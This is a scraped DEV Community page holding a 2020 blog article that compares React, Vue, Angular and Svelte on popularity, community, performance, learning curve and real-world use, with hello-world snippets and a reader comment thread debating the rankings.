Hebrew University in Jerusalem, Israel; Fazekas in Budapest, Hungary Work CI, Automation, and DevOps Trainer and Consultant at Self Employed Joined Oct 11, 2017 • Nov 29 '22 Dropdown menu Copy link Hide ... and if you have ever worked on a VMS, on every save operation it would create a new copy of the file numbered 1,2, ... so basically everything you did on the filesystem was versioned. You could also easily remove old versions of a file when you decided you are not interested in that any more. And that was 30+ years ago. Like comment: Like comment: 2 likes Like Comment button Reply Collapse Expand Mark Gardner Mark Gardner Mark Gardner Follow I show software developers how to level up by building production-ready things that work. Clear code, real projects, lessons learned. Location Houston, Texas Education Independence University Pronouns he, him, his Work Software Engineer III at LexisNexis Risk Solutions Joined Nov 9, 2020 • Nov 29 '22 • Edited on Nov 29 • Edited Dropdown menu Copy link Hide I do remember that from the brief time I was on a VMS system. I was disappointed that I had to use the separate rcs command on Unix to achieve similar results. The nice thing about macOS persistent versioned documents is they use Core Data , so they’re structured as an object graph rather than a text stream and individual entities’ attributes can be diffed, merged, and synced. Like comment: Like comment: 2 likes Like Comment button Reply Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Gabor Szabo Follow Helping individuals and teams improve their software development practices. Introducing testing, test automation, CI, CD, pair programming. That neighborhood. Location Israel Education HUJI - Hebrew University in Jerusalem, Israel; Fazekas in Budapest, Hungary Work CI, Automation, and DevOps Trainer and Consultant at Self Employed Joined Oct 11, 2017 More from Gabor Szabo Perl 🐪 Weekly #755 - Does TIOBE help Perl? # perl # news # programming Perl 🐪 Weekly #754 - New Year Resolution # perl # news # programming Perl 🐪 Weekly #753 - Happy New Year! # perl # news # programming 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/hb/react-vs-vue-vs-angular-vs-svelte-1fdm#react | React vs Vue vs Angular vs Svelte - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Henry Boisdequin Posted on Nov 29, 2020 React vs Vue vs Angular vs Svelte # react # vue # angular # svelte In this article, I'm going to cover which of the top Javascript frontend frameworks: React, Vue, Angular, or Svelte is the best at certain factors and which one is the best for you. There are going to be 5 factors which we are going to look at: popularity, community/resources, performance, learning curve, and real-world examples. Before diving into any of these factors, let's take a look at what these frameworks are. 🔵 React Developed By : Facebook Open-source : Yes Licence : MIT Licence Initial Release : March 2013 Github Repo : https://github.com/facebook/react Description : React is a JavaScript library for building user interfaces. Pros : Easy to learn and use Component-based: reusable code Performant and fast Large community Cons : JSX is required Poor documentation 🟢 Vue Developed By : Evan You Open-source : Yes Licence : MIT Licence Initial Release : Feburary 2014 Github Repo : https://github.com/vuejs/vue Description : Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web. Pros : Performant and fast Component-based: reusable code Easy to learn and use Good and intuitive documentation Cons : Fewer resources compared to a framework like React Over flexibility at times 🔴 Angular Developed By : Google Open-source : Yes Licence : MIT Licence Initial Release : September 2016 Github Repo : https://github.com/angular/angular Description : Angular is a development platform for building mobile and desktop web applications using Typescript/JavaScript and other languages. Pros : Fast server performance MVC Architecture implementation Component-based: reusable code Good and intuitive documentation Cons : Steep learning curve Angular is very complex 🟠 Svelte Developed By : Rich Harris Open-source : Yes Licence : MIT Licence Initial Release : November 2016 Github Repo : https://github.com/sveltejs/svelte Description : Svelte is a new way to build web applications. It's a compiler that takes your declarative components and converts them into efficient JavaScript that surgically updates the DOM. Pros : No virtual DOM Truly reactive Easy to learn and use Component-based: reusable code Cons : Small community Confusion in variable names and syntax The 1st Factor: Popularity All of these options are extremely popular and are used by loads of developers. I'm going to compare these 4 frameworks in google trends, NPM trends, and the Stackoverflow 2020 survey results to see which one is the most popular. Note: Remember that popularity doesn't mean it has the largest community and resources. Google Trends Google trends measures the number of searches for a certain topic. Let's have a look at the results: Note: React is blue, Angular is red, Svelte is gold, Vue is green. The image above contains the trends for these 4 frontend frameworks over the past 5 years. As you can see, Angular and React are by far the most searched, with React being searched more than Angular. While Vue sits in the middle, Svelte is the clear least searched framework. Although Google Trends gives us the number of search results, it may be a bit deceiving so lets of on to NPM trends. NPM Trends NPM Trends is a tool created by John Potter, used to compare NPM packages popularity. This measures how many times a certain NPM package was downloaded. As you can see, React is clearly the most popular in terms of NPM package downloads. Angular and Vue are very similar on the chart, with them going back and forth while Svelte sits at the bottom once again. Stackoverflow 2020 Survey In February of 2020, close to 65 thousand developers filled out the Stackoverflow survey. This survey is the best in terms of what the actual developer community uses, loves, dreads, and wants. Above is the info for the most popular web frameworks. As you can see React and Angular are 2nd and 3rd but React still has a monumental lead. Vue sits happily in the middle but Svelte is nowhere to be seen. Above are the results for the most loved web frameworks. As you can see, React is still 2nd and this time Vue sits in 3rd. Angular is in the middle of the bunch, but yet again Svelte is not there. Note: Angular.js is not Angular Above are the most dreaded web frameworks. As you can see React and Vue are towards the bottom (which is good) while Angular is one of the most dreaded web frameworks. This is because React and Vue developers tend to make fun of Angular, mostly because of its predecessor Angular.js . Svelte is not on this list which is good for the framework. Explaining Svelte's "Bad" Results Some may say that Svelte performed poorly compared to the other 3 frameworks in this category. You would be right. Svelte is the new kid on the block, not many people are using it or know about it. Think of React, Vue, or Angular in their early stages: that's what Svelte is currently. Most of these frontend frameworks comparisons are between React, Vue, or Angular but since I think that Svelte is promising, I wanted to include it in this comparison. Most of the other factors, Svelte is ranking quite highly in. Wrapping up the 1st Factor: Popularity From the three different trends/surveys, we can conclude that React is the most popular out of the three but with Vue and Angular just behind. Popularity: React Angular Vue Svelte Note: it was very hard to choose between Angular and Vue since they are very close together but I think Angular just edges out Vue in the present day. The 2nd Factor: Community & Resources This factor will be about which framework has the best community and resources. This is a crucial factor as this helps you learn the technology and get help when you are stuck. We are going to be looking at the courses available and the community size behind these frameworks. Let's jump right into it! React React has a massive amount of resources and community members behind it. Firstly, they have a Spectrum chat which usually has around 200 developers looking to help you online. Also, they have a massive amount of Stackoverflow developers looking to help you. There are 262,951 Stackoverflow questions on React, one of the most active Stackoverflow tags. React also has a bunch of resources and tutorials. If you search up React tutorial there will be countless tutorials waiting for you. Here are my recommended React tutorials for getting started: Free: https://youtu.be/4UZrsTqkcW4 Paid: https://www.udemy.com/course/complete-react-developer-zero-to-mastery/ Vue Vue also has loads of resources and a large community but not as large as React. Vue has a Gitter chat with over 19,000 members. In addition, they have a massive Stackoverflow community with 68,778 questions. Where Vue really shines is its resources. Vue has more resources than I could imagine. Here are my recommended Vue tutorials for getting started: Free: https://youtu.be/e-E0UB-YDRk Paid: https://www.udemy.com/course/vuejs-2-the-complete-guide/ Angular Angular has a massive community. Their Gitter chat has over 22,489 people waiting to help you. Also, their Stackoverflow questions asked is over 238,506. Like React and Vue, Angular has a massive amount of resources to help you learn the framework. A downfall to these resources is that most of them are outdated (1-2 years old) but you can still find some great tutorials. Here are my recommended Angular tutorials for getting started: Free: https://youtu.be/Fdf5aTYRW0E Paid: https://www.udemy.com/course/the-complete-guide-to-angular-2/ Svelte Svelte has a growing community yet still has many quality tutorials and resources. An awesome guide to Svelte and their community is here: https://svelte-community.netlify.app . They have a decent Stackoverflow community with over 1,300 questions asked. Also, they have an awesome Discord community with over 1,500 members online on average. Svelte has a lot of great tutorials and resources, despite it only coming on to the world stage quite recently. Here are my recommended Svelte tutorials for getting started: Free: https://www.youtube.com/watch?v=zojEMeQGGHs&list=PL4cUxeGkcC9hlbrVO_2QFVqVPhlZmz7tO Paid: https://www.udemy.com/course/sveltejs-the-complete-guide/ Wrapping up the 2nd Factor: Community & Resources From just looking at the Stackoverflow community and the available resources, we can conclude that all of these 4 frameworks have a massive community and available resources. Community & Resources: React Vue & Angular* Svelte *I really couldn't decide between the two! The 3rd Factor: Performance In this factor, I will be going over which of these frameworks are the most performant. There are going to be three main components to this factor: speed test, startup test, and the memory allocation test. I will be using this website to compare the speed of all frameworks. Speed Test This test will compare each of the frameworks in a set of tasks and find out the speed of which they complete them. Let's have a look at the results. As you can see, just by the colours that Svelte and Vue are indeed the most performant in this category. This table has the name of the actions on one side and the results on the other. At the bottom of the table, we can see something called slowdown geometric mean. Slowdown geometric mean is an indicator of overall performance and speed by a framework. From this, we can conclude that this category ranking: Vue - 1.17 slowdown geometric mean Svelte - 1.19 slowdown geometric mean React & Angular - 1.27 slowdown geometric mean Startup Test The startup test measures how long it takes for one of these frameworks to "startup". Let's see the table. As you can see, Svelte is the clear winner. For every single one of these performance tests, Svelte is blazing fast (if you want to know how Svelte does this, move to the "Why is Svelte so performant?" section). From these results, we can create this category ranking. Svelte Vue React Angular Memory Test The memory test sees which framework takes up the least amount of memory for the same test. Let's jump into the results. Similarly to the startup test, Svelte is clearly on top. Vue and React are quite similar while Angular (once again) is the least performant. From this, we can derive this category ranking. Svelte Vue React Angular Why is Svelte so performant? TL;DR: No Virtual DOM Compiled to just JS Small bundles Before looking at why Svelte is how performant, we need to understand how Svelte works. Svelte is not compiled to JS, HTML, and CSS files. You might be thinking: what!? But that's right, instead of doing that it compiles highly optimized JS files. This means that the application needs no dependencies to start and it's blazing fast. This way no virtual DOM is needed. Your components are compiled to Javascript and the DOM doesn't need to update. Also, it also takes up little memory as it complies in highly optimized, small bundles of Javascript. Wrapping up the 3rd Factor: Performance Svelte made a huge push in this factor, blowing away the others! From the three categories, let's rank these frameworks in terms of performance. Svelte Vue React Angular The 4th Factor: Learning Curve In this factor, we will be looking at how long and how easy it is to be able to build real-world (frontend-only) applications. This is one of the most important factors if you are looking to get going with this framework quickly. Let's dive right into it. React React is super easy to learn. React almost takes no time to learn, I would even say if you are proficient at Javascript and HTML, you can learn the basics in a day. Since we are looking about how long it takes to build a real-world project, this is the list of things you need to learn: How React works JSX State Props Main Hooks useState useEffect useRef useMemo Components NPM, Bebel, Webpack, ES6+ Functional Components vs Class Components React Router Create React App, Next.js, or Gatsby Optional but recommended: Redux, Recoil, Zustand, or Providers Vue In my opinion, Vue takes a bit more time than React to build a real project. With a bit of work, you could learn the Vue fundamentals in less than 3 days. Although Vue takes longer to learn, it is definitely one of the fastest popular Javascript frameworks to learn. Here is the list of things you need to learn: How Vue Works .vue files NPM, Bebel, Webpack, ES6+ State management Vuex Components create-vue-app/Vue CLI Vue Router Declarative Rendering Conditionals and Loops Vue Instance Vue Shorthands Optional: Nuxt.js, Vuetify, NativeScript-Vue Angular Angular is a massive framework, much larger than any other in this comparison. This may be why Angular is not as performant as other frameworks such as React, Svelte, or Vue. To learn the basics of Angular, it could take a week or more. Here are the things you need to learn to build a real-world app in Angular: How Angular Works Typescript Data Types Defining Types Type Inference Interfaces Union Types Function type definitions Two-way data binding Dependency Injection Components Routing NPM, Bebel, Webpack, ES6+ Directives Templates HTTP Client Svelte One could argue that Svelte is the easiest framework to learn in this comparison. I would agree with that. Svelte's syntax is very similar to an HTML file. I would say that you could learn the Svelte basics in a day. Here are the things you need to learn to build a real-world app in Svelte: How Svelte Works .svelte files NPM, Bebel, Webpack, ES6+ Reactivity Props If, Else, Else ifs/Logic Events Binding Lifecycle Methods Context API State in Svelte Svelte Routing Wrapping up the 4th Factor: Learning Curve All these frameworks (especially Vue, Svelte, and React) are extremely easy to learn, very much so when one is already proficient with Javascript and HTML. Let's rank these technologies in terms of their learning curve! (ordered in fastest to learn to longest to learn) Svelte React Vue Angular The 5th Factor: Real-world examples In this factor, the final factor, we will be looking at some real-world examples of apps using that particular framework. At the end of this factor, the technologies won't be ranking but it's up to you to see which of these framework's syntax and way of doing things you like best. Let's dive right into it! React Top 5 Real-world companies using React : Facebook, Instagram, Whatsapp, Yahoo!, Netflix Displaying "Hello World" in React : import React from ' react ' ; function App () { return ( < div > Hello World </ div > ); } Enter fullscreen mode Exit fullscreen mode Vue Top 5 Real-world companies using Vue : NASA, Gitlab, Nintendo, Grammarly, Adobe Displaying "Hello World" in Vue : < template > <h1> Hello World </h1> </ template > Enter fullscreen mode Exit fullscreen mode Angular Top 5 Real-world companies using Angular : Google, Microsoft, Deutsche Bank, Forbes, PayPal Displaying "Hello World" in Angular : import { Component } from ' @angular/core ' ; @ Component ({ selector : ' my-app ' , template : &lt;h1&gt;Hello World&lt;/h1&gt; , }) export class AppComponent ; Enter fullscreen mode Exit fullscreen mode Svelte Top 5 Real-world companies using Svelte : Alaska Air, Godaddy, Philips, Spotify, New York Times Displaying "Hello World" in Svelte : <h1> Hello world </h1> Enter fullscreen mode Exit fullscreen mode Wrapping up the 5th Factor: Real-world Examples Wow! Some huge companies that we use on a daily basis use the frameworks that we use. This shows that all of these frameworks can be used to build apps as big as these household names. Also, the syntax of all of these frameworks is extremely intuitive and easy to learn. You can decide which one you like best! Conculsion I know, you're looking for a ranking of all of these frameworks. It really depends but to fulfil your craving for a ranking, I'll give you my personal opinion : Svelte React Vue Angular This would be my ranking but based on these 5 factors, choose whichever framework you like best and feel yourself coding every day in, all of them are awesome. I hope that you found this article interesting and maybe picked a new framework to learn (I'm going to learn Svelte)! Please let me know which frontend framework you use and why you use it. Thanks for reading! Henry Top comments (47) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Collapse Expand stefanovualto stefanovualto stefanovualto Follow Joined Feb 5, 2018 • Nov 29 '20 Dropdown menu Copy link Hide Hi Henry, I mostly agree with the point 1,2,3. But point 4 is subjective depending on your background and previous knowledge. To improve your post, you should add a note explaining what's your background. Finally point 5 are not similar at all. The vue example is a complete page using a reactive property. Anyway as @johnpapa said in a talk, you can achieve almost the same result with any framework, pick the one which feels right for you... :) Like comment: Like comment: 13 likes Like Comment button Reply Collapse Expand Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Nov 29 '20 Dropdown menu Copy link Hide Yes, I agree with you! I would recommend anyone to learn the framework which feels right for you. For the Vue example, I'm not an expert at Vue and don't know a better way to do it (if you have a smaller, more concise 'hello world' example, please comment it). I will definitely work an a 'what's my background section'. To explain it know: I've been using React in all my web dev projects. I have basic knowledge of Vue, Angular, and Svelte. After looking at these 5 factors, I plan to use Svelte for my coming projects. Thanks, @stefanovualto for the feedback! Like comment: Like comment: 8 likes Like Comment button Reply Collapse Expand Christopher Wray Christopher Wray Christopher Wray Follow Email chris@sol.company Location Pasco, WA Education Western Governors University Work Senior Software Engineer at Soltech Joined Jan 14, 2020 • Nov 29 '20 • Edited on Nov 29 • Edited Dropdown menu Copy link Hide In the Vue example you are using data components. For the others just plain html. You could have a Vue component with a template of just the h1 tag and no script. It would look more like the svelte example. Like comment: Like comment: 2 likes Like Thread Thread Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Nov 29 '20 Dropdown menu Copy link Hide ✅ Like comment: Like comment: 1 like Like Thread Thread stefanovualto stefanovualto stefanovualto Follow Joined Feb 5, 2018 • Nov 29 '20 • Edited on Nov 29 • Edited Dropdown menu Copy link Hide In your vue example, I think that you should expect to be in a .vue file lik le it seems to be in the others (I mean that you have the whole bundling machinery working under the hood). Then something similar would be: <template> <h1> Hello world! </h1> </template> Enter fullscreen mode Exit fullscreen mode Maybe a pro' for vue is that it can be adopted/used progressively without having to rely on building process (which I am assuming are mandatory for react, svelte and maybe angular). What I mean is that your previous example worked, but it wasn't comparable to the others. Like comment: Like comment: 4 likes Like Comment button Reply Collapse Expand Zen Zen Zen Follow Mahasiswa Psikologi Email muhzaini30@gmail.com Location Samarinda Education Psikologi, TI Work Developer Android at Toko sepeda Sinar Jaya Joined Mar 25, 2019 • Nov 30 '20 Dropdown menu Copy link Hide I'm usually using Svelte for my projects. Because, it's simple, write less, and get more Like comment: Like comment: 3 likes Like Comment button Reply Collapse Expand Ryan Carniato Ryan Carniato Ryan Carniato Follow Frontend performance enthusiast and Fine-Grained Reactivity super fan. Author of the SolidJS UI library and MarkoJS Core Team Member. Location Portland, Oregon Education Computer Engineering B.A.Sc, University of British Columbia Work Principal Engineer, Open Source, Netlify Joined Jun 25, 2019 • Dec 3 '20 • Edited on Dec 3 • Edited Dropdown menu Copy link Hide A couple thoughts. "Requires JSX" a downside??? I almost stopped reading at that point. Template DSLs are more or less the same. If that's a con, doesn't support JSX could easily be seen as one. There are reasonable arguments for both sides and this shows extreme bias. Vue is "truly reactive" as well. Whatever that means. Your JS Framework Benchmark results are over 2 years old. Svelte and Vue 3 are both out and in the current results. He now publishes them per Chrome version. Here are the latest: krausest.github.io/js-framework-be... . It doesn't change the final positions much, but Svelte and Vue look much more favorable in newer results. If anyone is interested in how those benchmarks work in more detail I suggest reading: dev.to/ryansolid/making-sense-of-t... Like comment: Like comment: 6 likes Like Comment button Reply Collapse Expand Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Dec 3 '20 Dropdown menu Copy link Hide I'm a React dev and it's my favourite framework out of the bunch. When I did some research and asked some other developers when they think of React they think of needing to learn JSX. For something like Svelte, all you need to know is HTML, CSS, and JS. I know that my benchmarks were two years old and I addressed this multiple times before: For the performance factor, I knew that the frameworks were a bit outdated but the general gist stated the same. Svelte 3 was released some time ago and that blows all of the other frameworks out of the water in terms of performance hence Svelte would stay on top. Vue and React are very similar in performance, Vue even says so themselves: vuejs.org/v2/guide/comparison.html. Since, Angular is a massive framework with built-in routing, etc, its performance didn't become better than Vue, React, or Svelte in its newer versions. Thanks for the new benchmark website, I will definitely be using that in the future. Also, I just read your benchmark article and its a good explanation on how these benchmarks work. Thanks for your input. Like comment: Like comment: 3 likes Like Comment button Reply Collapse Expand Ryan Carniato Ryan Carniato Ryan Carniato Follow Frontend performance enthusiast and Fine-Grained Reactivity super fan. Author of the SolidJS UI library and MarkoJS Core Team Member. Location Portland, Oregon Education Computer Engineering B.A.Sc, University of British Columbia Work Principal Engineer, Open Source, Netlify Joined Jun 25, 2019 • Dec 3 '20 • Edited on Dec 3 • Edited Dropdown menu Copy link Hide Here's the index page where he posts new results as they come up: krausest.github.io/js-framework-be... When I did some research and asked some other developers when they think of React they think of needing to learn JSX. For something like Svelte, all you need to know is HTML, CSS, and JS. Svelte has good marketing clearly. Is this HTML? <label> <input type= "checkbox" bind:checked= {visible} > visible </label> {#if visible} <p transition:fade > Fades in and out </p> {/if} Enter fullscreen mode Exit fullscreen mode Or this HTML? <a @ [event]= "doSomething" > ... </a> <ul id= "example-1" > <li v-for= "item in items" :key= "item.message" > {{ item.message }} </li> </ul> Enter fullscreen mode Exit fullscreen mode How about this? <form onSubmit= {handleSubmit} > <label htmlFor= "new-todo" > What needs to be done? </label> <input id= "new-todo" onChange= {handleChange} value= {text} /> <button> Add #{items.length + 1} </button> </form> Enter fullscreen mode Exit fullscreen mode Like comment: Like comment: 4 likes Like Thread Thread Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Dec 3 '20 Dropdown menu Copy link Hide That's why a con of Svelte is its syntax (I added that in my post). This is more explanation to that point: Firstly, for confusion in variable names, I'm talking about how Svelte handles state. Coming from React, state would only be initialized with the useState hook. In Svelte, all the variables you make is state which could be confusing for someone just learning Svelte. Also, for the confusion in syntax, I'm talking about the confusion in logic. For example, if statements in Svelte are different than the usual Javascript if statements which could cause some confusion/more learning time for beginners. There are also other examples of this. Like comment: Like comment: 1 like Like Comment button Reply Collapse Expand Zen Zen Zen Follow Mahasiswa Psikologi Email muhzaini30@gmail.com Location Samarinda Education Psikologi, TI Work Developer Android at Toko sepeda Sinar Jaya Joined Mar 25, 2019 • Nov 29 '20 Dropdown menu Copy link Hide why svelte is not seen in search trend? because, svelte's docs is very easy to new comer in this framework Like comment: Like comment: 7 likes Like Comment button Reply Collapse Expand Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Nov 29 '20 Dropdown menu Copy link Hide I'm not really sure @mzaini30 . A great pro of Svelte is its docs and tutorial on its website. I think in 1-2 years, you are going to see Svelte at least where Vue is in the search trends. Most of the search trends come from developers asking questions like how to fix this error, or how to do this but since not many people use Svelte (compared to the other frameworks) there are not many questions being asked. Like comment: Like comment: 3 likes Like Comment button Reply Collapse Expand Bergamof Bergamof Bergamof Follow Location Bordeaux, France Education 3iL Work Senior Developer at IPPON Technologies Joined Nov 30, 2020 • Nov 30 '20 Dropdown menu Copy link Hide Sure! Too bad the great Svelte tutorial was not mentioned. Like comment: Like comment: 1 like Like Thread Thread Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Nov 30 '20 Dropdown menu Copy link Hide It's a great tutorial, but I decided to just add video tutorials. In the community factor, I give a link to the Svelte community website which features that tutorial! Like comment: Like comment: 2 likes Like Comment button Reply Collapse Expand Sergiy Yevtushenko Sergiy Yevtushenko Sergiy Yevtushenko Follow Writing code for 35+ years and still enjoy it... Location Krakow, Poland Work Senior Software Engineer Joined Mar 14, 2019 • Dec 3 '20 Dropdown menu Copy link Hide Sad that Solid not even mentioned, although it's the one of the best performing frameworks. Like comment: Like comment: 3 likes Like Comment button Reply Collapse Expand Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Dec 3 '20 Dropdown menu Copy link Hide I've never actually heard of solid. I'll check it out! Like comment: Like comment: 2 likes Like Comment button Reply Collapse Expand Sergiy Yevtushenko Sergiy Yevtushenko Sergiy Yevtushenko Follow Writing code for 35+ years and still enjoy it... Location Krakow, Poland Work Senior Software Engineer Joined Mar 14, 2019 • Dec 3 '20 Dropdown menu Copy link Hide Well, author of the Solid is even commented in this topic. Like comment: Like comment: 3 likes Like Thread Thread Ryan Carniato Ryan Carniato Ryan Carniato Follow Frontend performance enthusiast and Fine-Grained Reactivity super fan. Author of the SolidJS UI library and MarkoJS Core Team Member. Location Portland, Oregon Education Computer Engineering B.A.Sc, University of British Columbia Work Principal Engineer, Open Source, Netlify Joined Jun 25, 2019 • Dec 16 '20 Dropdown menu Copy link Hide To be fair, performance is only one area and arguably the least important. Even if Solid completely dominates across the board in all things performance by a considerable margin, we have a long way before popularity, community, or realworld usage really makes it worth even being in a comparison of this nature. But I appreciate the sentiment. Like comment: Like comment: 4 likes Like Thread Thread Sergiy Yevtushenko Sergiy Yevtushenko Sergiy Yevtushenko Follow Writing code for 35+ years and still enjoy it... Location Krakow, Poland Work Senior Software Engineer Joined Mar 14, 2019 • Dec 16 '20 Dropdown menu Copy link Hide Well, good performance across the board usually is a clear sign of high technical quality of design and implementation. Like comment: Like comment: 4 likes Like Comment button Reply Collapse Expand dallgoot dallgoot dallgoot Follow Location France Joined Oct 3, 2017 • Jan 2 '21 Dropdown menu Copy link Hide I don't want to start a flamewar but i see a trend where React is considered the -only- viable framework and -some- people reacting like religious zealots against any critics because "it's the best ! it's made by Facebook!" React is too hyped IMHO. Svelte is a a true innovation. And yes performance matters. Angular and Vue may lose traction with time... i think... i fail to see their distinctive useful points. Like comment: Like comment: 3 likes Like Comment button Reply Collapse Expand Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Jan 2 '21 Dropdown menu Copy link Hide I completely agree with you. Most React devs now will not try any other framework and just make fun of the others. I completely agree that React is too hyped. Unfortunately, as you stated, Angular and Vue are losing some traction. I also agree with you that Svelte is a true innovation, this is why I put Svelte at number 1! For 2021, I will focus on using Svelte. Thanks for reading! Like comment: Like comment: 2 likes Like Comment button Reply Collapse Expand Sylvain Simao Sylvain Simao Sylvain Simao Follow Building kuizto.co 🥦🍄🥔🥕 • Fractional CTO sylvainsimao.com • Prev CTO at Travis, Tech Director at ClemengerBBDO • Love building for the web! Location Brisbane, Australia Work Founder at kuizto.co Joined Mar 7, 2019 • Dec 3 '20 Dropdown menu Copy link Hide React with a smaller learning curve than Vue.js 🤔 Like comment: Like comment: 5 likes Like Comment button Reply Collapse Expand Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Dec 3 '20 Dropdown menu Copy link Hide They were very tight but I would say that React has a smaller learning curve as its more intuitive and has easier syntax than Vue. Like comment: Like comment: 1 like Like Comment button Reply Collapse Expand Sylvain Simao Sylvain Simao Sylvain Simao Follow Building kuizto.co 🥦🍄🥔🥕 • Fractional CTO sylvainsimao.com • Prev CTO at Travis, Tech Director at ClemengerBBDO • Love building for the web! Location Brisbane, Australia Work Founder at kuizto.co Joined Mar 7, 2019 • Dec 4 '20 Dropdown menu Copy link Hide Sorry @hb , you've decided to go on a touchy subject by writing this article! I will have to disagree with you on that point. I think it's perfectly okay to prefer using React. There are many reasons why it is a good choice. However, an easy learning curve isn't part of it. Just so there is no ambiguity, after having used all the Frameworks from this article - my choice goes towards Vue.js and Svelte, but I'll try to remain as objective as possible. 1) According to the State of JS survey 2018 (not using 2019, because that same question wasn't part of last year's survey). From 20,268 developers interrogated, the number #1 argument about Vue.js is an easy learning curve. For React it comes at position #11 (top 3 beings: elegant programming style, rick package ecosystem, and well-established): 2018.stateofjs.com/front-end-frame... 2018.stateofjs.com/front-end-frame... 2) Main reason why Vue.js is labelled "The Progressive JavaScript Framework", is because it is progressive to implement and to learn. Before you can get started with React, you need to know about JSX and build systems. On the other end, Vue.js can be used just by dropping a single script tag into your page and using plain HTML and CSS. This makes a huge difference in terms of approachability of the Framework. 3) Maybe less objective on this one - but from my own professional experience with both Frameworks and leading teams of developers - it usually takes Junior Developers almost twice the time to become proficient with React than with Vue.js. Firstly because of what I mentioned in point number 2. Secondly, because React has few abstraction leaks that makes performance optimisation something developers have to deal with themselves (using memoize hooks). It's a concept that is hard to understand, but essentials if working on large applications. Thirdly, because of the documentation (as you mentioned in your article). And lastly because of the fragmented ecosystem of libraries that can quickly be overwhelming for Junior Devs. Again, I think there are a lot of reasons why React can be a good choice. But not because of the learning curve. Like comment: Like comment: 5 likes Like Comment button Reply Collapse Expand Thorsten Hirsch Thorsten Hirsch Thorsten Hirsch Follow Joined Feb 5, 2017 • Nov 29 '20 Dropdown menu Copy link Hide Angular 6? Well, they just released version 11 and there was the switch to Ivy since version 6, so what about a more recent benchmark? And looking at the Google trends chart I wonder why all 3 (React/Angular/Vue) lost quite a bit of their popularity during the past months... any new kid on the block? It's obviously not Svelte, which could hardly benefit from the others' losses. Like comment: Like comment: 3 likes Like Comment button Reply Collapse Expand Henry Boisdequin Henry Boisdequin Henry Boisdequin Follow Programmer x Swimmer | React Dev, Machine Learning Enthusiast, Rustacean Email boisdequinhenry19@gmail.com Joined Oct 12, 2020 • Nov 30 '20 Dropdown menu Copy link Hide For the performance factor, I knew that the frameworks were a bit outdated but the general gist stated the same. Svelte 3 was released some time ago and that blows all of the other frameworks out of the water in terms of performance hence Svelte would stay on top. Vue and React are very similar in performance, Vue even says so themselves: vuejs.org/v2/guide/comparison.html . Since, Angular is a massive framework with built-in routing, etc, its performance didn't become better than Vue, React, or Svelte in its newer versions. For the search results, they are unpredictable. To my knowledge, there is no new kid on the block in terms of frontend Javascript frameworks. If anything, more people are using Web Assembly. As you can see from the search results graph, it goes up and down, changing all the time. Like comment: Like comment: 2 likes Like Comment button Reply Collapse Expand Shriji Shriji Shriji Follow Co-Founder @anoram. High-Performance JavaScript 